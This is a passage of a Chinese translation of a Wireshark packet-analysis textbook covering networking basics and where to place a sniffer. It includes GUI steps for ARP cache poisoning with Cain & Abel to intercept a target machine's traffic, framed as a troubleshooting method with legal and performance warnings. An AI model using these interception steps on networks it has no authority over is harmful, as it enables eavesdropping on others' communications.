作为一本参考索引资料，有些Wireshark软件的特性是你不会经常使用到的，所以你可能会忘记它们是如何工作的。数据包分析实用技术是你的书柜中一本非常有用的参考书，当你需要快速重温如何使用Wireshark软件的某个特性时，你可以从本书中获得参考。我已经提供了很多独特的图表、图解和方法说明，已经被证明能够作为你进行数据包分析的有用索引参考。"},
    {"text": "Wireshark数据包分析实战(第2版) 关于示例网络数据包捕获文件 所有本书中使用的网络数据包捕获文件都在本书的官方网站（http://www.nostarch.com/packet2.htm [1] ）下载到，为了最大化本书的价值，我强烈建议你下载这些文件，并在你学习每个真实案例时使用它们。 Wireshark数据包分析实战(第2版) 乡村科技基金会 在我编写本书的前言时，我无法不提及由数据包分析实用技术书籍而衍生出的这一美好事物。在本书第一版出版后不久，我创办了一个501(c)(3)的非营利性组织，而这正是我最大梦想成为现实的巅峰时刻。 比起城市与市郊的学生们，乡村学生即使拥有很优秀的成绩，仍然很少有机会能够接触到最新的科技。创办于2008年的乡村科技基金会（RTF）致力于能够减少乡村学生与城市同龄学生们之间的数字鸿沟，主要通过针对性的奖学金项目、社区参与计划，以及一些在乡村地区的科技促进与提倡项目来达成。我们的奖学金项目专门提供给生活在乡村，但对计算机技术拥有着热情并希望在这个方向得到进一步教育的学生们。我非常高兴地宣布本书所有的作者版税将提供给乡村科技基金会，用于设立这些奖学金。如果你需要了解更多关于乡村科技基金会的信息，或者想了解你如何可以参与贡献，请访问我们的网站 http://www.ruraltechfund.org/ 。 [1] 为了方便国内读者下载，将在 http://netsec.ccert.edu.cn/hacking/book/ 提供备份链接。——译者注 Wireshark数据包分析实战(第2版) 本书第1版的书评 “各层次网络管理员的必备手册。” ——Linux Pro杂志 “一本优秀、易懂且具有良好格式的Wireshark实用指南。” ——ARSGEEK.COM “如果您需要掌握数据包分析的基础知识，本书将是您起步的好地方。” ——STATEOFSECURITY.COM “本书能够让您有一技之长，它抓住了书名中的关键词——实用，很好地为读者们提供了进行数据包分析所需要知道的基本知识，然后又恰如其分地带领他们进入到使用Wireshrak软件解决现实问题的缤纷世界中。” ——LINUXSECURITY.COM “您的网络中有未知主机在和其他主机聊天吗？您的电脑是否在和陌生人说话？您需要一个数据包嗅探器来找出这些问题的真正答案。Wireshark是能够完成这件事情的最佳工具，而本书是学习这个工具最好的方式之一。” ——自由软件杂志 “新手入门的最佳读物！” ——DAEMON NEWS Wireshark数据包分析实战(第2版) 第1章 数据包分析技术与网络基础 在计算机网络中，每天都可能发生成千上万的问题，从简单的间谍软件感染，到复杂的路由器配置错误。我们永远也不可能立即解决所有问题，而只能期盼充分地准备好相关的知识和工具，从而能够快速地响应各种类型的错误。 所有的网络问题都源于数据包层次，即使是有着最漂亮外表的应用程序，它们也可能是“金玉其外”但“败絮其中”，有着混乱的设计与糟糕的实现，又或是看起来是可信的，但背地里在搞些恶意的行为。为了更好地了解网络问题，我们需要进入到数据包层次。在这一层次，没有任何东西能够逃出我们的视线范围——这里不再有那些令人误解的菜单栏、用来吸引眼球的动画、以及无法让人信赖的员工。在数据包层次上，就不再有真正的秘密（加密通信除外），我们在数据包层次上做得越多，那我们就能够对网络有更好的控制，就能够更好更快地解决网络问题。这就是数据包分析的世界。 本书将与你一起进入到神奇的网络数据包世界里，你将学习如何解决网络通信速度慢的问题，识别出应用程序的性能瓶颈，甚至在真实世界的场景中追踪黑客。当你读完这本书后，你应该能够使用先进的数据包分析技术来解决自己网络中的实际问题，即便它们看起来是那么复杂与难以解决。 在这一章中，我们将开始学习一些网络通信方面的基础知识，这样你可以获得阅读和学习后续章节所需的基础知识。"},
    {"text": "Wireshark数据包分析实战(第2版) 1.1 数据包分析与数据包嗅探器 数据包分析，通常也被称为数据包嗅探或协议分析，指的是捕获和解析网络上在线传输数据的过程，通常目的是为了能更好地了解网络上正在发生的事情。数据包分析过程通常由数据包嗅探器来执行。而数据包嗅探器则是一种用来在网络媒介上捕获原始传输数据的工具。 数据包分析技术可以通过以下方法来达到目标。 了解网络特征。 查看网络上的通信主体。 确认谁或是哪些应用在占用网络带宽。 识别网络使用的高峰时间。 识别可能的攻击或恶意活动。 寻找不安全以及滥用网络资源的应用。 目前市面上有着多种类型的数据包嗅探器，包括免费的和商业的。每个软件的设计目标都会有一些差异。流行的数据包分析软件包括tcpdump、OmniPeek和Wireshark（我们在这本书中将只使用此款软件）。tcpdump是个命令行程序，而Wireshark和OmniPeek都拥有图形用户界面（GUI）。 1.1.1 评估数据包嗅探器 当你需要选择一款数据包嗅探器时，需要考虑的因素很多，包括以下内容。 支持的协议： 数据包嗅探器对协议解析的支持范围各不相同，大部分通常都能解析常见的网络协议（如IPv4和ICMP）、传输层协议（如TCP和UDP），甚至一些应用层协议（如DNS和HTTP）。然而，它们可能并不支持一些非传统协议或新协议（如IPv6、SMBv2、SIP等）。在选择一款嗅探器时，需要确保它能够支持你所要用到的协议。 用户友好性： 考虑数据包嗅探器的界面布局、安装的容易度，以及操作流程的通用性。你选择的嗅探器应该适合你的专业知识水平。如果你的数据包分析经验还很少的话，你可能需要避免选择那些命令行的嗅探器，比如tcpdump。另一方面，如果你拥有丰富的经验，你可能会觉得这类命令行程序会更具有吸引力。在你逐步积累数据包分析经验时，你甚至会发现组合使用多种数据包嗅探器软件将更有助于适应特定的应用场景。 费用： 关于数据包嗅探器最伟大的事情是有着很多能够与任何商业产品相媲美的免费工具。商业产品与其他替代品之间最显著的区别是它们的报告引擎，商业产品通常包括各种花哨的报告生成模块，而在免费软件中则通常缺乏，甚至没有该模块。 技术支持： 即使你已经掌握了嗅探软件的基本用法，但是你还是偶尔会在遇到一些新问题时需要技术支持。在评估技术支持时，你可以寻找开发人员文档、公众论坛和邮件列表。虽然对于一些像Wireshark这样的免费软件可能缺乏一些开发人员文档，但使用这些应用软件的社区往往可以填补这些空白。使用者和贡献者社区会提供一些讨论区、维基、博客，来帮助你获得更多关于数据包嗅探器的使用方法。 操作系统支持 ：遗憾的是，并不是所有的数据包嗅探器都支持所有的操作系统平台。你需要选择一款嗅探器，能够支持所有你将要使用的操作系统。如果你是一位顾问，你可能需要在大多数操作系统平台上进行数据包捕获和分析，那么你就需要一款能够在大多数操作系统平台上运行的嗅探器。你还需要留意，你有时会在一台机器上捕获数据包，然后在另一台机器上分析它们。操作系统之间的差异，可能会迫使你在不同的设备上使用不同的嗅探器软件。 1.1.2 数据包嗅探器工作原理 数据包嗅探过程中涉及到软件和硬件之间的协作。这个过程可以分为成3个步骤。 第一步： 收集 ，数据包嗅探器从网络线缆上收集原始二进制数据。通常情况下，通过将选定的网卡设置成混杂模式来完成抓包。在这种模式下，网卡将抓取一个网段上所有的网络通信流量，而不仅是发往它的数据包。 第二步： 转换 ，将捕获的二进制数据转换成可读形式。高级的命令行数据包嗅探器就支持到这一步骤。到这步，网络上的数据包将以一种非常基础的解析方式进行显示，而将大部分的分析工作留给最终用户。 第三步，也是最后一步： 分析 ，对捕获和转换后的数据进行真正的深入分析。数据包嗅探器以捕获的网络数据作为输入，识别和验证它们的协议，然后开始分析每个协议的特定属性。"},
    {"text": "Wireshark数据包分析实战(第2版) 1.2 网络通信原理 为了充分理解数据包分析技术，你必须准确掌握计算机是如何通过网络进行相互通信的。"},
    {"text": "1.2.2 七层OSI参考模型 网络协议是基于它们在行业标准OSI参考模型中的职能进行分层的。 OSI模型将网络通信过程分为7个不同层次，如图1-1所示。"},
    {"text": "表示层（第6层）： 这一层将接收到的数据转换成应用层可以读取的格式。 在表示层完成的数据编码与解码取决于发送与接收数据的应用层协议。 表示层同时进行用来保护数据的多种加密与解密操作。"},
    {"text": "会话层（第 5 层）： 这一层管理两台计算机之间的对话（会话），负责在所有通信设备之间建立、管理和终止会话连接。 会话层还负责以全双工或者半双工的方式来创建会话连接，在通信主机间礼貌地关闭连接，而不是粗暴地直接丢弃。"},
    {"text": "数据链路层（第2层）： 这一层提供了通过物理网络传输数据的方法，其主要目的是提供一个寻址方案，可用于确定物理设备（例如MAC地址）。 网桥和交换机是工作在数据链路层的物理设备。 物理层（第1层）： OSI参考模型的底层是传输网络数据的物理媒介。"},
    {"text": "表1-1 OSI参考模型各个层次上的典型网络协议 层次 协议 应用层 HTTP、SMTP、FTP、Telnet 表示层 ASCII、MPEG、JPEG、MIDI 会话层 NetBIOS、SAP、SDP、NWLink 传输层 TCP、UDP、SPX 网络层 IP、IPX 数据链路层 Ethernet、Token Ring、FDDI、AppleTalk 注意 在讨论我们的工作时，一位同事告诉我，他曾处理过一位用户的投诉，说他不能访问网络资源，而实际原因是用户输入的密码不正确。"},
    {"text": "我的同事将这个案例标成了“第8层的问题”，第8层是对用户层的一种非官方说法，通常是由那些整天工作在数据包层次上的网络工程师们使用。"},
    {"text": "例如，发送系统在第7层的某个协议是负责对传输数据进行加密的，那么往往在接收系统的第7层有着相应的网络协议，负责对网络数据进行解密。"},
    {"text": "随着网络数据沿着OSI参考模型向下流动，PDU逐渐变化和增长，各层协议均将其头部或尾部信息添加进去，直到物理层时达到其最终形式，并发送给目标计算机。 接收计算机收到PDU后，沿着OSI参考模型往上处理，逐层剥去协议头部和尾部，当PDU到达OSI参考模型的最上层时，将只剩下原始传输数据。"},
    {"text": "图1-3 客户端和服务器之间数据封装过程示意图 我们从客户端计算机的应用层开始，在我们浏览一个网站时，所使用的应用层协议是HTTP，通过此协议发出请求命令，从google.com下载index.html文件。"},
    {"text": "在完成这项工作之后，TCP协议将数据包交给IP协议，也就是在第3层上负责为数据包进行逻辑寻址的协议。 IP协议创建一个包含有逻辑寻址信息的头部，并将数据包传递给数据链路层上的以太网，然后以太网物理地址会被添加并存储在以太网帧头中。"},
    {"text": "Web服务器开始读取数据包，从下往上，这意味着它首先读取数据链路层，从中提取到所包含的物理以太网寻址信息，确定数据包是否是发往这台服务器的。"},
    {"text": "为了响应客户端发过来的这个数据包，服务器应该发回一个TCP确认数据包，使客户端知道它的请求已经被接收，并可以等待获取 index.html文件内容了。"},
    {"text": "因为集线器会产生很多不必要的网络流量，并仅在半双工模式下运行（不能在同一时间发送和接收数据），所以你通常不会在现代或高密度的网络中再看到它们的身影了（用交换机来代替）。"},
    {"text": "例如，如果一台计算机连接到一个4端口集线器的1号端口上，需要发送数据到连接在2号端口的计算机，那么集线器将会把数据发送给端口1、2、3、4。"},
    {"text": "连接到3号端口与4号端口上的客户端计算机通过检查以太网帧头字段中的目标媒体访问控制（MAC）地址，判断出这些数据包并不是给它们的，便丢弃这些数据包。"},
    {"text": "图1-5所示为从计算机A发送数据到计算机B的例子，当计算机A发送出数据时，所有连接到集线器的计算机都将接收到数据，但只有计算机B会实际接受数据，而其他计算机则将丢弃它。 图1-5 计算机A通过集线器传输数据到计算机B的通信流 做一个比喻，假设你发送一封主题为“所有的营销人员请注意”的电子邮件给贵公司所有雇员，而不只是那些在营销部门工作的人。"},
    {"text": "交换机 与集线器相同，交换机也是用来中继数据包的。 但与集线器不同的是，交换机并不是将数据广播到每一个端口，而是将数据发送到目的计算机所连接的端口上。"},
    {"text": "图1-6 一个机架式24端口以太网交换机 市场上几个大牌公司的交换机，比如思科品牌的，能够通过专业化的供应商特定软件或Web接口进行远程管理。"},
    {"text": "交换机将每个连接设备的第2层地址都存储在一个CAM（Content Addressable Memory即内容寻址寄存器）表中，CAM表充当着一种类似交通警察的角色。 当一个数据包被传输时，交换机读取数据包中的第2层协议头部信息，并使用CAM表作为参考，决定往哪个或哪些端口发送数据包。"},
    {"text": "在这个图示中，计算机A发送数据到唯一的目标：计算机B，虽然同一时间网络上可能会有很多会话，但信息将会直接通过交换机向目标接收者进行传输，而不会被传递到与交换机相连的所有计算机。"},
    {"text": "图1-7 当计算机A通过交换机传输数据到计算机B时的通信流示意图 路由器 路由器是一种较交换机或集线器具有更高层次功能的先进网络设备。"},
    {"text": "一个路由器可以有许多种不同的形状和外形，但大多数路由器在前面板上会有几个LED指示灯，在背板上会有一些网络端口，个数则取决于网络的大小。"},
    {"text": "假设有一些房子，它们都有着自己的地址，就好比网络上的计算机一样，而每条街道就好比网段，如图1-9所示。 从你所在街道上的某个房子，你可以很容易地与同一街道中居住的邻居进行沟通交流，这类似于交换机的操作，能够允许在同一网段中的所有计算机进行相互通信。 然而，与其他街道上居住的邻居进行沟通交流，就像是与不同网段中的计算机进行通信。"},
    {"text": "现在请对应到跨越网段的场景中，如果在192.168.0.3地址的设备需要和192.168.0.54地址的设备进行通信，它必须经由路由器到10.100.1.1网络上，然后再经过连接目的网段的路由器才可以到达目标网段上。"},
    {"text": "而大型企业网络则可能有几个路由器分布在不同的部门，都连接到一个大型的中央路由器或三层交换机上（具有内置功能，可以充当一台路由器的先进型交换机）。"},
    {"text": "当你开始查看越来越多的网络图时，你会更加了解网络数据流是如何流经这些不同类型的网络设备节点，图1-10所示为路由网络中一个非常常见的布局形式。"},
    {"text": "在这个例子中，两个单独的网络通过一个路由器进行连接。 如果网络A上的计算机希望与网络B上的计算机进行通信，传输数据将必须通过路由器。"},
    {"text": "Wireshark数据包分析实战(第2版) 1.3 流量分类 网络流量可以分为三大类：广播、多播和单播。每个分类都具有不同特点，决定着这一类的数据包该如何通过网络硬件进行处理。 1.3.1 广播流量 广播数据包会被发送到一个网段上的所有端口，而无论这些端口连接在集线器还是交换机上。但并非所有的广播流量都是以相同方式构建的，而是包括第2层广播流量和第3层广播流量两种主要形式。例如，在第2层，MAC地址FF:FF:FF:FF:FF:FF是保留的广播地址，任何发送到这一地址上的流量将会被广播到整个网段。第3层也有一些特定的广播地址。 在一个IP网络范围中最大的IP地址是被保留作为广播地址使用的。例如，在一个配置了192.168.0.XXX的IP范围，以及子网掩码是255.255.255.0的地址网络中，广播IP地址是192.168.0.255。 在通过多个集线器或交换机连接多种媒介的大型网络中，广播数据包将被一直从一个交换机被中继到另一交换机上，从而传输到网络连接的所有网段上。广播数据包能够到达的区域被称为“广播域”，也就是任意计算机可以不用经由路由器即可和其他计算机进行直接传输的网段范围。图1-11显示了一个小型网络上存在两个广播域的例子。因为每个广播域会一直延伸直到路由器，而广播数据包只能在它特定的广播域中传输。 图1-11 一个广播域一直延伸到路由器后面的网段 我们前面的类比也能很好地说明广播域是如何工作的。你可以将一个广播域想象成一条街道。如果你站在你家门口叫喊，只有街道上的人才能够听到你的声音。而如果你想与不同街道上的人说话，那么你需要找到一种与他进行直接交流的方式，而不是在你的家门口大喊大叫（广播）。 1.3.2 多播流量 多播是一种将单一来源数据包同时传输给多个目标的通信方式。多播的目的是为了简化这个过程，并使用尽可能少的网络带宽。多播流量通过避免数据包的大量复制来达到优化效果，而处置多播流量的方式则高度依赖于不同网络协议的实现细节。 实施多播的主要方法是通过一种将数据包接收者加入多播组的编址方案，这也是IP多播的工作原理。这种编址方案确保数据包不会被传送到未预期的目的地。事实上IP协议将一整段的地址都赋予了多播，如果你在网络上看到在 224.0.0.0到239.255.255.255 IP范围内的地址，它很有可能就是多播流量。 1.3.3 单播流量 单播数据包会从一台计算机直接传输到另一台计算机。单播机制的具体实现方式取决于使用的协议。例如，一台设备希望与一个Web服务器进行通信，这便是一个端到端的连接，所以通信过程将由客户端设备发送数据包到这台Web服务器开始。这种类型的通信就是单播流量的典型例子。 Wireshark数据包分析实战(第2版) 1.4 小结 本章涵盖了你学习数据包分析技术所必须掌握的基础知识。在你开始解决网络故障问题之前，你必须明白网络通信到底是怎么回事。在下一章中，我们将基于这些概念，来讨论更高级的网络通信准则。 [1] 译者注：TCP/IP模型中并没有会话层和表示层，因此实际的TCP/IP协议栈中并没有单独设计会话层和表示层网络协议。 Wireshark数据包分析实战(第2版) 第2章 监听网络线路 进行高效的数据包分析的一个关键决策是在哪里放置数据包嗅探器，以恰当地捕捉网络数据。数据包分析师通常把这个过程称为监听网络线路。简而言之，这是将数据包嗅探器安置在网络上恰当物理位置的过程。 然而遗憾的是，嗅探数据包并不像是将一台笔记本电脑连入网络中那么的简单。事实上，在有些时候，在网络布线系统上放置一个数据包嗅探器，要比实际分析数据包更难一些。 安置嗅探器的挑战是要考虑到种类繁多的用来连接网络的硬件设备。图2-1为一种典型的情况。由于网络上的3种主要设备（集线器、交换机、路由器）对网络流量的处理方式都不相同，因此你必须非常清楚你所分析的网络使用的是哪些硬件设备。 图2-1 将嗅探器安置在你的网络上，有时是你面对的最大挑战 本章的目标是帮助你理解如何在各种不同网络拓扑结构中安置数据包嗅探器。首先，让我们来看看，我们实际上是如何看到网络线路上所有传递的数据包的。"},
    {"text": "Wireshark数据包分析实战(第2版) 2.1 混杂模式 你需要一个支持混杂模式驱动的网卡，才可能在网络上嗅探数据包。混杂模式是什么样的模式呢？实际上它是一种允许网卡能够查看到所有流经网络线路数据包的驱动模式。 正如你在第1章了解到的那样，在网络上有一类广播流量，因此对于客户端来说，接收到并非以它们的地址作为目标的数据包是非常常见的。用来将给定IP地址解析成对应MAC地址的ARP协议，在任何网络上都是一个关键组成部分，且是一个很好的例子，能够说明有些网络流量并非是发送到指定的目标地址。为了找到对应的MAC地址，ARP协议会发出一个广播包并发送到广播域中的每个设备，然后期望正确的客户端做出回应。 一个广播域（也就是一个网络段，其中任何一台计算机都可以无需经过路由器，直接传送数据到另一台计算机）是由几台电脑所组成的，但广播域中仅仅只有一个客户端应该对传输的ARP广播请求包感兴趣。一旦网络上的每台电脑都处理和回应ARP广播包，那网络的性能将变得非常的糟糕。 因此，其他网络设备上的网卡驱动会识别出这个数据包对于它们来说没有任何用处，于是选择将数据包丢弃，而不是传递给CPU进行处理。将目标不是这台接收主机的数据包进行丢弃可以显著地提高网络处理性能，但这对数据包分析师来说并不是个好消息。作为分析师，我们通常需要看到线路上传输的每一个数据包，这样我们才不用担心会丢失掉任何关键的信息。 我们可以使用网卡的混杂模式来确保能够捕获所有的网络流量。一旦在混杂模式下工作，网卡将会把每一个它所看到的数据包都传递给主机的处理器，而无论数据包的目的地址是什么。一旦数据包到达CPU之后，它就可以被一个数据包嗅探软件捕获并进行分析。 现在的网卡一般都支持混杂模式，Wireshark软件包中也包含了libpcap / WinPcap驱动，这让你能够很方便地在Wireshark软件界面上就将网卡直接切换到混杂模式上（我们将在第3章里介绍更多的libpcap / WinPcap的内容）。 为了能够学习本书中的数据包分析技术，你必须要有一个支持使用混杂模式的网卡与操作系统。只有在你只想看到发往你运行嗅探软件主机MAC地址的网络数据包的时候，你才不需要以混杂模式来进行嗅探。 注意 在大多数操作系统（包括Windows）上，要想使用一个混杂模式的网卡，你就必须要提升用户权限到管理员级别。如果你不能在一个系统上合法地获得这些权限，那你就不应该在这台系统上对所在网络进行任何方式的数据包嗅探。 Wireshark数据包分析实战(第2版) 2.2 在集线器连接的网络中进行嗅探 在使用集线器连接的网络中进行嗅探，对于任何数据包分析师来说，都是一个梦想。正如你在第1章中了解到的那样，流经集线器的所有网络数据包都会被发送到每一个集线器连接的端口。因此，要想分析一台连接到集线器上的电脑的网络通信，你所需要做的所有事情就是将数据包嗅探器连接到集线器的任意一个空闲端口上。你就能看到所有从那台电脑流入流出的网络通信，以及其他接入集线器的任意电脑之间的通信。 如图2-2所示，当你的嗅探器连接到一个集线器连接的网络后，你对本地网络的可视范围是不受限制的。 图2-2 在集线器网络中嗅探将提供一个不受限制的可视范围 注意 可视范围，这个术语将在整本书中很多图示中显示，表示你在数据包嗅探器中能够看到通信流量的主机范围。 令人遗憾的消息是，集线器网络已经是非常罕见的了，因为它们曾经给网络管理员们带来了很大的困扰，已经基本被淘汰了。因为在集线器网络中，在任一时刻里，只有一个设备可以通信。因此，通过集线器连接的设备必须与其他设备进行竞争，才能取得带宽进行通信，当两个或多个设备同时通信时，数据包就会产生冲突碰撞，如图2-3所示。结果可能是丢包，然后通信设备需要承担重新传输数据包带来的性能损失，而这又增加了网络拥塞和碰撞。当通信流量水平和碰撞概率增加之后，设备需要传输每个数据包3次甚至4次，这大大降低了网络性能。因此很容易理解为什么现在各种规模的网络都已经转而使用交换机了。 图2-3 当集线器网络上两个设备在同一时间通信时产生的碰撞"},
    {"text": "Wireshark数据包分析实战(第2版) 2.3 在交换式网络中进行嗅探 正如第1章中所讨论的，交换机是在现在网络环境中最常见的连接设备类型。"},
    {"text": "图2-4 交换式网络上的可视范围仅限于你所接入的端口 在一个交换式网络中从一个目标设备捕获网络流量的基本方法有如下4种：端口镜像、集线器接出（hubbing out）、使用网络分流器、ARP欺编攻击。 2.3.1 端口镜像 端口镜像，也许是在交换式网络中捕获一个目标设备所有的网络通信最简单的方法。"},
    {"text": "为了使用端口镜像，你必须能够通过命令行或Web管理界面来访问目标设备所连接的交换机。 此外，这个交换机还必须支持端口镜像的功能，以及有一个空闲的端口，让你可以插入你的嗅探器。 要启用端口镜像，你需要发出一个命令，来强制交换机将一个端口上的所有通信都镜像到另一端口上。"},
    {"text": "例如，为了捕获交换机3号端口连接的设备发出的所有流量，你只需要简单地将你的嗅探分析器接入4号端口，然后将3号端口镜像复制到4号端口，这就可以让你看到你的目标设备传输与接收的所有网络流量。"},
    {"text": "图2-5 端口镜像可以让你在交换式网络上扩大可视范围 设置端口镜像的具体方法取决于不同的交换机制造商。 对于大多数的交换机，你需要登录到命令行界面，然后输入端口镜像命令。"},
    {"text": "注意 某些交换机提供基于Web的图形用户管理界面，并提供端口镜像作为一个选项，但这种配置方式不像命令行那么普遍和标准。 但是，如果你的交换机提供了一种通过图形化界面可以高效配置端口镜像的方法，那么你也可以使用。"},
    {"text": "许多人认为集线器输出根本就是一种作弊方法，但是它在你不能进行端口镜像但仍对目标设备接入的交换机有着物理访问的时候，真的是一个完美的解决方案。"},
    {"text": "1．找到目标设备所连接的交换机，并将目标设备连接网线从交换机上拔掉。 2．将目标设备的网线插入到你的集线器上。 3．使用另一根网线，将你的嗅探分析器也连接到集线器上。 4．从你的集线器连接一根网线到交换机上，将集线器连接到网络上。"},
    {"text": "表2-1 用于启用端口镜像的命令 制造商 命令 思科 set span < source port > < destination port > 凯创 set port mirroring create < source port > < destination port > 北电 port-mirroring mode mirror-port < source port > monitor-port< destination port > 现在你已经将目标设备和你的嗅探分析器连接到了同一个广播域中，所有从你的目标设备流入流出的网络流量都将在集线器中广播，从而让你的嗅探分析器可以捕获到这些数据包，如图2-6所示。"},
    {"text": "图2-7 一款Barracuda的非聚合网络分流器 网络分流器通常还需要一个电源连接，但也有一些是带电池的，它们可以不需要插入一个电源插座就可以进行短暂的数据包嗅探。"},
    {"text": "1．从交换机上拔下目标电脑的网线。 2．将连接目标电脑网线的另一端插入到网络分流器的“in”端口中。 3．将另一根网线的一端插入到网络分流器的“out”端口，并将另一端插入到网络交换机。 4．将最后一根网线的一端插入网络分流器的“monitor”端口，并将另一端插入到你作为嗅探器使用的电脑上。 聚合网络分流器的连接应该如图2-8所示的那样，一旦连好之后，你的嗅探器就能够捕获到你接入网络分流器的所有流入流出的网络流量。 图2-8 使用聚合的网络分流器来嗅探网络流量 非聚合的网络分流器 非聚合的网络分流器比起聚合的稍微复杂一些，但它在进行流量捕获时有着更好的灵活性。 与聚合网络分流器仅仅只有一个监听端口来嗅探双向通信流量不同的是，非聚合的网络分流器有着两个监听端口。 一个监听端口是用来嗅探流出方向的网络流量（从电脑到分流器端口的方向），另一个监听端口是用来嗅探流入方向的网络流量（从分流器端口到电脑的方向）。"},
    {"text": "1．从交换机上拔下电脑连接网线。 2．将电脑连接网线的另一端插入到网络分流器的“in”端口上。 3．将另一根网线的一端插入到网络分流器的“out”端口，然后将另一端插入到网络交换机上。 4．将第三根网线插入到网络分流器的“Monitor A”端口，并将另一端插入到你作为嗅探器使用的电脑的一块网卡接口上。 5．将最后一根网线插入到网络分流器的“Monitor B”端口，并将另一端插入到你作为嗅探器使用的电脑的第二块网卡接口上。"},
    {"text": "图2-9 使用非聚合的网络分流器来嗅探网络流量 你可以购买到各种规格的网络分流器，从最简单150美元左右就能买到的以太网分流器，到需要数万美元的企业级光纤分流器。"},
    {"text": "由于交换机在OSI模型的第2层上工作，它们只认识第2层上的MAC地址，因此网络设备必须在它们创建的数据包中包含这些信息。 当这些设备在不知道通信对方的MAC地址时，必须要通过已知的第3层IP地址来进行查询，这样才可能通过交换机将流量传输给相应的设备。"},
    {"text": "连接到以太网的计算机的ARP查询过程，是从一台计算机想要与另一台进行通信时开始的。 发起通信的计算机首先检查自己的ARP缓存，查看它是否已经有对方IP地址对应的MAC地址。"},
    {"text": "此时，发起通信的计算机就获取到了数据链路层的寻址信息，便可以利用它与远端计算机进行通信，同时将这些信息保存在ARP缓存中，来加速以后的网络访问。"},
    {"text": "图2-10 ARP欺骗允许你拦截目标计算机的流量 使用Cain & Abel软件 当试图进行ARP欺骗时，第一步你需要获得一些必要的工具来搜集相关信息。"},
    {"text": "在你使用Cain & Abel软件之前，你需要收集某些信息，包括嗅探分析器系统的IP地址，你所希望嗅探网络流量的远程计算机的IP地址，以及远程计算机所连接的上游路由器IP地址。"},
    {"text": "当你第一次打开Cain & Abel软件后，你会发现在软件窗口的顶端有着一系列的标签页（ARP缓存中毒攻击只是强大的Cain & Abel软件其中一个功能）。"},
    {"text": "2．你会被要求选择你希望进行嗅探的网络接口。 这个接口应该连接到你所希望进行ARP欺骗的网络。 选择这个网络接口，然后单击OK按钮（要确保按下这个按钮，以激活Cain & Abel软件内置的嗅探器）。"},
    {"text": "当你完成下面的操作步骤之后，上方的表格中将显示出你的ARP欺骗过程涉及的设备列表，而下方表格则会显示出在你进行中毒攻击的计算机之间的所有通信内容。"},
    {"text": "图2-13 选择你要启用ARP欺骗的目标系统 关于ARP欺骗的警示 作为ARP欺骗过程的最后警示，你必须要非常清楚实施这个过程中每个系统的角色与作用。"},
    {"text": "在目标设备拥有很高的网络使用流量时，例如一台有着1Gbit/s联网线路的文件服务器，不要使用这项技术（尤其是当你的嗅探分析系统只提供了一条100Mbit/s的链路时）。"},
    {"text": "当你使用在这个例子中演示的这项技术对网络流量进行重路由时，所有目标系统发送和接收的流量都必须先通过你的嗅探分析系统，因此，你的嗅探分析系统可能成为整个通信过程中的瓶颈。 这种流量重路由会对你进行分析的系统造成一种拒绝服务攻击式的影响，将导致网络性能下降以及分析数据不完全。 注意 你可以使用一个称为非对称路由的功能，来避免所有的网络流量经过你的嗅探分析器，所谓非对称路由。"},
    {"text": "Wireshark数据包分析实战(第2版) 2.4 在路由网络环境中进行嗅探 所有在交换式网络中用来监听网络线路的技术在路由网络环境中都同样适用。面对路由网络环境时，唯一需要重点考虑的问题是：当你调试一个涉及多个网络分段的故障时，如何安置你的嗅探器？正如你所学到的，一个设备的广播域一直延伸，直到到达一个路由器，在这个点上，网络流量将会被转发给上游路由器。 在网络数据必须经过多个路由器的情况下，在各个路由器上分析网络流量是非常重要的。举例来说，考虑你很可能会遇到的一个场景，在网络中由几个路由器将几个网络分段连接在一起。在这个网络中，每个网段与上游网段进行通信，来获取和存储数据。 如图2-14所示，我们要解决的一个故障是：一个下游子网D，无法与网络A中的任何设备进行通信。 如果你在存在故障的网络D中嗅探流量，你可以清楚地看到数据包被传输到了其他网段，但你可能看不到回来的数据包所说的“一会回来”。如果你重新考虑你嗅探器的部署位置，在网络D的直接上游网段（网络B）中开始嗅探，你将会有一个关于故障更清晰的视图。 在这个位置上，你可能会发现，来自网络D的流量被丢弃了，或是被网络B的路由器错误地路由了。 图2-14 网络D中的计算机不能与网络A中的计算机进行通信 最终，这会让你了解到这是一个路由器配置问题，在纠正之后，便会解决掉你的大麻烦。虽然这个场景有点宽泛，但其中的精髓是，在处理涉及多个网段与路由器的问题时，你可能需要将你的嗅探器移动到不同的位置上，才能获得一个完整的网络画面。 这是一个基本的例子，说明了为什么往往需要在不同的网段中对多个设备流量进行嗅探，才能很快地诊断出故障的根本原因。 “网络地图” 在关于网络布局的讨论中，我们已经研究了好几种不同的“网络地图”。“网络地图”或称为网络拓扑图，是一个显示了网络中所有技术资源以及它们之间连接关系的图形表示。 在决定你数据包嗅探器的安放位置时，没有比拿着一张“网络地图”来进行分析更好的办法了。如果你有一张“网络地图”，请把它保留在手边，它在故障排除和分析过程中，会是一份宝贵的财产。建议你对自己的网络画出一份详细的“网络地图”。请记住，在大多数时候，排除故障一半以上的工作都集中在收集正确的网络数据上。 Wireshark数据包分析实战(第2版) 2.5 部署嗅探器的实践指南 我们已经介绍了在交换式网络中捕获网络流量的4种不同方法。我们可以再增加一种方式，适用于我们仅仅在单个系统上安装嗅探器软件并监听这台系统进出的流量。在某个特定场景中，你可能不太容易确定应该用上述这5种方法中的哪种才是最合适的。表2-2提供了每种部署方法的通用准则。 表2-2 在交换式网络环境中进行数据包嗅探的指导准则 技术 指导准则 端口镜像 • 通常是首选的，因为它不会留下网络痕迹，也不会因此而产生额外的数据包 • 可以在不让客户端脱机下线的情况下进行配置，非常便于镜像路由器或者服务器 端口 集线器输出 • 当你不需要考虑主机暂时下线带来的后果时适用 • 当你必须捕获多台主机的流量时是低效率的，因为碰撞和丢包会导致性能低下 • 可能会导致现代的100/1000Mbit/s主机丢失数据包，因为大多数真正的集线器都只是10Mbit/s的 使用网络分流器 • 当你不需要考虑主机暂时下线带来的后果时适用 • 当你需要嗅探光纤通信时，这是唯一选项 • 由于网络分流器就是为了网络监听嗅探而设计的，而且能够跟上现代网络速度，因此这种方法比起集线器输出要更优一些 • 在预算紧张时，这种方法的成本会过于高昂 ARP缓存中毒 • 这会被认为是非常草率的，因为它涉及在网络上注入数据包，以重路由流经嗅探器的网络流量 • 在你需要一个暂时性快速实施的方法，能够将一个设备的网络流量进行捕获，而又不用将其下线，同时端口镜像又不被支持的时候，这种方法会是一个高效的选择 直接安装 • 一般不建议，因为如果一台主机存在故障和问题，这个问题可能会导致数据包被丢弃，或是被配置成它们无法被准确地展示的样子 • 主机的网卡不需要设置在混杂模式 • 在进行环境测试、评估和审查性能，或是检查在其他地方捕获的数据包文件时，这是最佳方案 